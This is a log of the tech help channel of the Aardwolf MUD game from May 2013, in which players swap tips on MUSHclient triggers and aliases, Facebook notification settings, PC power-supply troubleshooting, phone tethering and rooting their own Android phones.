T3/r7/2013-05-18.txt.gz:{chan ch=tech}Faylen Tech: ok, seems my computer was being stupid, no more sql errors, although I did get a message about not being able to load eqdb. No clue why not but I'm not gonna worry about that right this moment
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Multiplay Tech: huh
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Multiplay Tech: why didn't I get my item from the auction back
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Seniseis Tech: they makan your item
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Multiplay Tech: so where is my item
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Seniseis Tech: u might like to scroll up to see wad happened
T3/r7/2013-05-18.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: its gone. never to be seen again.  Try the newbie channel for more help
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Jeejee Tech: how you can use alias in other alias in mush?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Mye Tech: send to execute instead of world
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Jeejee Tech: thx
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Troryn Tech: Can anyone help me set up a basic trigger so I can learn how they work with MUSHClient?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Failboat Tech: can you do it on this channel so i can learn too
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nick Gammon has made some excellent youtube tutorials for Mushclient, I think there was one for triggers, 1 sec
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: and this list of common messages is handy too.... http://www.aardwolf.com/wiki/index.php/Main/MudMessages
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: Fiendish also has great guides on the aard mushclient package's website
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Bingo - http://www.youtube.com/watch?v=tGrA-Q7uqC0
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Troryn Tech: Thanks Vakieh, I'll start there
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: plus Nick Gammon has a trendy accent
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: He also does one on the same account about targetting aliases (featuring Aardwolf way back when) which shows a good use for triggers, aliases etc
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Several of those messages are out of date with recent changes, however - best to look at what is sent first-hand IMO
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: if you've identified ones to change...then change them...that's why it's a wiki
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: if you don't have current wiki credentials, board bugs, note read 13222
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Troryn Tech: Okay so after watching that video I'm still a little lost.  I've also been reading about triggers and a lot of what I see are XML versions of the triggers.  Where do I go to type that stuff as opposed to using the GUI?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: you'd normally use the GUI
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: in order to do it outside the GUI, you'd use the "script prefix" (\\\ by default) and then use the scripting function AddTrigger(), but it's TONS easier to use the GUI, as then you're not having to remember which option number goes to world vs execute, etc
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: also, I'd suggest typing "finger bast" and going to his website...between the aard MUSHclient package and the stuff bast has available, most legal stuff that you'd want is already available :-)
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Troryn Tech: sounds good.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}VampireDude Tech: ive looked all over the manual, and the pdf lf the manual for this eton raptor, but cant get the display to turn off, its waterproof. any ideas?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}VampireDude Tech: i recently changed from mushclient to aardwolf android app, how do i disable all the extra skill texts that mushclient had?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: why is it when your internet connection goes wonky, your systems slows to a crawl and hangs.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}VampireDude Tech: cause big brother is spying on you
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Daloran Tech: Anyone use Jolicloud/Jolidrive?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Endtime Tech: sorry if this is wrong place for this question, but can anyone help me disable push notifications from facebook to my cell? made the mistake a friending someone who makes my phone let me know every hour "So-and-so had invited you to play Puzzled Hearts" or some such.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: either go into the FB app's settings or the phone's push settings to customize
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: delete your facebook account?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: click the little gear in the top right, then account settings, then the notifications tab.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: or the mobile tab. I never remember which is for what.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Endtime Tech: kinda sucks have to shut down all notifications. no option to just ignore those spam game requests. would have liked to still receive notifications for friend requests, messages, board posts, etc. ah well
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Daloran Tech: Endtime.. I think you can do that
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: can't you just mute those notifications period.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Daloran Tech: yeah, settigs, account settings, blocking, block app invites. Add that person to the list
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Bast Tech: you can from the facebook webpage, you can mute notification from a specific game, and i also think you can mute notifications from all games
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Endtime Tech: would just nuke this person from my flist, but it's my Aunt. Make family reunions pretty awkward :)
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Tech: nod, I always mute various games
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Ontuct Tech: there should be an invite to Aardwolf though.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Daloran Tech: if you block them from sending apps, they can still message/etc you
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Endtime Tech: that is exactly what I needed, thanks! figured you guys would be able to help, as always :)
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Daloran Tech: We're awesome, we know.
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Daloran Tech: a USB/DVI Kvm should work with a displayport -> DVI adapter, yeah?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Pedwiddle Tech: Can anyone recommend a good ssh client for android?  Using ConnectBot, but my hardware keyboard and its key mapping don't agree...
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Elchanan Tech: omg my net flix is playing on i micro sized window in my window
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Elchanan Tech: this is not cool any clues
T3/r7/2013-05-18.txt.gz:{chan ch=tech}HelperMan Hadar Tech: close/reopen the window?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Arnica Tech: restart your computer
T3/r7/2013-05-18.txt.gz:{chan ch=tech}HelperMan Hadar Tech: have you tried turning it off and on again?
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Arnica Tech: restart your computer
T3/r7/2013-05-18.txt.gz:{chan ch=tech}Arnica Tech: mis
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: why would a pc kick off and refuse to turn on after installing a graphics card into it?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Zetkax Tech: kick off? anyway maybe you need a bigger power supply for your video card (is it new?)
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: one is new other isnt and it use to work but now if i dont remove graphics card pc doesnt go on
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: .. did you turn off the pc when you installed the card?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: yes
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: as well as unplug/etc?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: yes
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Possible you knocked something else loose?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: i checked cant see anything loose
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Did you use a antistatic wristband, or other device for ESD protection?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: no
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: It's possible, but unlikely you damaged something due to static discharge. 
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: So when you remove the graphics card - plug the system in - whath appens when you try to power it up?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: it starts up normally
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: and with the card in?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: it doesnt respond at all
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: doesn't respond... can you elaborate? Any lights? Fans come on? No noises?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: nothing the power light comes on but no fans or anything else
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Do you have an LED on your motherboard that comes on when you plug the power in?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: yes it comes on but thats all
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: what color
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: green
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Anything else change that you can think of from before it stopped working to now?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: no nothing just when i take out the card it works again
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: or card was in and working.. then stopped working
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: first card was working then stopped thought it blew somrthing
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Ah. So you've already tried swapping in a different video card?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: yes
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: if at least one of them was known good, its going to be either your PSU or your motherboard. PSU being the easier to check, if you have access to a multimeter, or a proper power supply tester. or if neither of those, just a known good spare to test with
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: ok PSU? whats that look like?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Power supply, Roque
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: im playing on the pc right now doesnt that mean PSU is fine and working then?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Not neccesarily. Especially if you are -1 video card.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Video cards tend to be one of the largest power draws in a system.. if your psu is marginal, it might do fine to power integrated/drives.. but add an extra 120watt load, and then it can't keep up
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: ok so if its motherboard then how do i fix it?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: if it's the motherboard, you'd have to replace it.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: and if its PSU what should voltage read?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Theres a few different voltages, roque. Depending on which wires you're measuring.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: sounds like i should rather take it in and let the pro's check it out:)
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: thanks daloran
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Depending on what you have access to for part swapping, and tools for testing, might be for the best.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Purpose built PSU testers are pretty idiot proof, even if they won't show how the psu does under load. Swapping it for a known good tends to be the better option.. but unless you have a box of spare parts, not too useful
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: only have knew video card no other spares so a tech would check it better then i could
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Kk. Well, good luck on that front then =) If you take it in, I'd suggest backing up anything you're concerned with first - if you take it in and they want to do it before work it will add more money.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Also, even if they don't, if the excrement hits the rotating oscilator, and your drive gets damage/lost/etc, you'll have your data
T3/r7/2013-05-19.txt.gz:{chan ch=tech}RoqueWarrior Tech: thanks daloran ill back it up before taking it in this pc just giving me headaches:)
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: Daloran hugs RoqueWarrior.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: how to use alias on monsters example: use backstab then black root.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: as assassin
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Misok Tech: First create keyword in replace box then in with box type backstab semicolon symbol black
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Ontuct Tech: mush?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Misok Tech: for example type bs in replace box, then backstab
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Misok Tech: That was for phone alias
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: that just give me the message backstab who? and then black root the thing.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Misok Tech: I'm not sure about adding target command in alias
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: using aardwolf rpg
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: anyone know how to target using first command of alias?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Ayasinda Tech: http://bt.happygoatstudios.com/?view=aliases
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: thanks
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: doesn't explain it.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure it does. You just either haven't read it, or just assumed it doesn't.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Or your question isn't stated in a way that we understand what you need.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: read it, i'm trying to use a combat alias eg:.backstab (semicolon) black on a monster which only results in me black rooting it as there is no target for the first action 
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: if any of you answered my question, i didn't get it. Sorry
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Jopari Tech: what the heck, i'll make do.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Lorken Tech: can someone help me with getting aard on mxit app for iphone - I downloaded the app and created login - went to tradewinds-->games-->multiplayer-->mud and found aard - i hit it and it says it added aardwolf to my contacts, but when i return to contacts its not there :( - tried multiple times, restared phone, reinstalled app, nothing :( - can anyone tell me where i messed up?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: So..... Synergy is awesome. Not really a question, but it's been a while since I've had call to use it. And it's still awesome.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Hanslanda Tech: is it as yuppie as the name sounds?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No. Shares keyboard/mouse across multiple machines.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: It's a client/server to allow you to share 1 keyboard/mouse with multiple PCs.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Ontuct Tech: thought those were KVM
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: No video, ontuct
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: each device still needs its own display
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Akuri Tech: it is a network based kvm
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, I use it to control my 3 laptops at work with one mouse and one keyboard. Just easier.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: In this instance - I have my PC - and my laptop sitting to the right of my monitor. I can move my mouse from my desktop to the laptop even though the devices are seperate.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Its not a KVM, Akuri
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Hanslanda Tech: it's a universal remote's big brother. :)
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( Is working on the android equivalent right now )
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Sounds cool, though I'm sure my technical overlords at work won't allow it to work with my laptop.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Possible. Though newer versions do include encryption
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I had to dual boot my work pc for it :P
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The enterprise windows was all like "Awww... hell naw"
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: any advice on running mushclient on a mac?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: buy a computer
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: fiendish's site for aard mushclient has a FAQ entry on it
T3/r7/2013-05-19.txt.gz:{chan ch=tech}FuFu Tech: run bootcamp
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: I wouldn't suggest bootcamp
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: so wine is too bad?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: I am lagging using wine, but I would like to know if it is due to Wine or something else
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: no, wine's cake...drag one file onto your applications folder and it's done
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: my keystrokes are lagging ... well, not anymore :P
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: they were lagging a while ago :P
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: Maybe it's because HooK was greeting me
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: and I was lagging
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: You snicker softly.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daddy Spoke Tech: all the pr0n
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Vonliege Tech: since I was toying with the recent MCCP question - I managed to turn mine off via the command line, but can't seem to get it back on... where is the menu option hiding in Aardmush?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Oo, EA is dropping support for the Wii U, and will not make new games for the system.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: are mobile broadband cards faster than blue tooth tethering my phones data?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: yes.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: (potentially.)
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Depends on the speed of the broadband card vs the phone, I suppose.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Book of Etzli Tech: But 3G is 3G, regardless if it's phone tethering or broadband card.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: well the phone is lte capable on 4g allegedly
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: tech Bluetooth will end up being your bottleneck, most likely
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Just because it's LTE capable doesn't mean you'll get LTE speeds, especially if there's no coverage for it in your area.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Bluetooth 2.0 is something like 2mbps max....
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: so it will depend on the bluetooth radios if that will be a limitation
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: It'd be better to use wither wifi hotspot, or a usb tether to use a phone. in which case the speeds would be more comporable to a data card
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: hmmn k . ill try it with the cable, if i find an app for it
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: which platform are you on?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: android
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: usb tethering is built in to later version of android, and a lot of carriers roll a wifi hotspot in. If neither of those, then look at PDANet/Foxfi
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: that will work on BT, Usb, or wifi - though might require rooting your phone
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Tech: BT2.0 is 3Mbps, BT3.0 and BT4.0 both use wifi for the transport, much faster than anything that LTE will get you...but most modern phone will do wifi tethering without needing to use bluetooth as the setup
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: yeah, my  other phone has it rolled in on ice creme sandwich
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Yeah, I wasn't including the high speed requiring wifi bit =p
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: my new phone is unrootable.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: Unlikely.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: ill give your four trivia points to get my phone to root :-)
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: which device?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: lg optimus 769 with revision 10g
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: have you tried framaroot?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: frama ? not yet.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: http://forum.xda-developers.com/showthread.php?t=2130276
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i had to use that to root my phone
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: not on supported device list?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: mine was not, just try it, worse case it tells you no
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: http://forum.xda-developers.com/showthread.php?t=2190326 
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: P769 correct?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: right, but with 10g
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: define 10g for me
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: its the most updated firmware  version
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: did you try framaroot?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: not yet, gotta finish downloading and move it to the pc
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: http://forum.xda-developers.com/showthread.php?t=2198114 there ya go.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: just download it on the phone
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: ah. i see. its apk
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: daloran?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ya its an actual app, its not a custom rom or anything
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: less effort than zergrush. lets see if it works
T3/r7/2013-05-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: whos your carrier?q r
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: ... 57%
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: tmo.
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: yeah VD?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: whatm i looking for on this link?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: the directions for rooting your phone =p
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: framaroot not useful for my device
T3/r7/2013-05-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: it was worth a shot
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: daloran, i have 10g, not 10e
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: "Unlocking bootloader on P769 Tmobile from 10G"
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: http://forum.xda-developers.com/showthread.php?t=2171243 that being the second thread linked from the first, showing the rooting procedures
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: which leads to http://forum.xda-developers.com/showthread.php?t=2173465 now I suppose
T3/r7/2013-05-19.txt.gz:{chan ch=tech}VampireDude Tech: so... theyre not there yet?
T3/r7/2013-05-19.txt.gz:{chan ch=tech}Daloran Tech: .. the thread explains how to unlock bootloader, root, and flash your phone, vamp.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: it seems to say that they cant do it without wrecking graphics. 
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: can somebody please help me install these bast plugins...i keep getting a error when i try to add one
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: whats the error?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how do i turn this off?    {invitem}1025083392,M,South,99,6,0,-1,-1
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Sonshi Tech: probably some tag
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yes but witch...
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Nuanse Tech: try invmon
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Sonshi Tech: yeah, that's what he search invitem suggests...
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: INV           Display tags when viewing own inventory: {inventory/}   NO 
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its off and i still get it
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: {invitem}1026069946,M,a green key,100,13,0,-1,-1 {invmon}4,1026069946,-1,-1
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thats the output
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Nuanse Tech: tags off :P
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: did tags off restarted the client and its still on...HELP!
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Sonshi Tech: tried help search?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Nuanse Tech: are you using aardmush?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yes using mush
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Nuanse Tech: you have some plugin that on startup turns the tags off, so after "tags off" you restarted them by restarting client
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Nuanse Tech: turns them on automatically that is
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: nvm i fixed it
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: How do I create an alias that tells me when I get disarmed?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ayasinda Tech: that's a trigger not an alias
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Vonliege Tech: you want a 'trigger', actually
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: or one that picks up my weapon and wields it
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: oh, right.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Vonliege Tech: same
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ayasinda Tech: what client?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: so i'm sure ive created one before
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: MUSHclient
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Vonliege Tech: http://www.gammon.com.au/mushclient/triggers.htm
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ayasinda Tech: that's way too complicated for me. With all the variables that need to be set.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: something like: "sends your * flying"
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For Mushclient, I would just use Bast's disarm plugin - set and forget, pretty much
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Thinkon Tech: iused '* DISARMS *' and then get [weapon id num], wear [weapon id num]
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Thinkon Tech: need to update if you change weapon, don't use any more as i wear aard bracvers
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's the beauty of the Bast plugin - it autoupdates when you switch weapons. But yes, aard bracers make it all moot
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: oh so you cant use wildcards?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Narhtan Tech: or the " * "
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There is a distinct difference between object name, and object keywords
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: "Dagger of Aardwolf" won't work, because "of" is not a keyword of the item
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Vonliege Tech: best to register your current weapon as a variable using the serial... then use that variable in your trigger
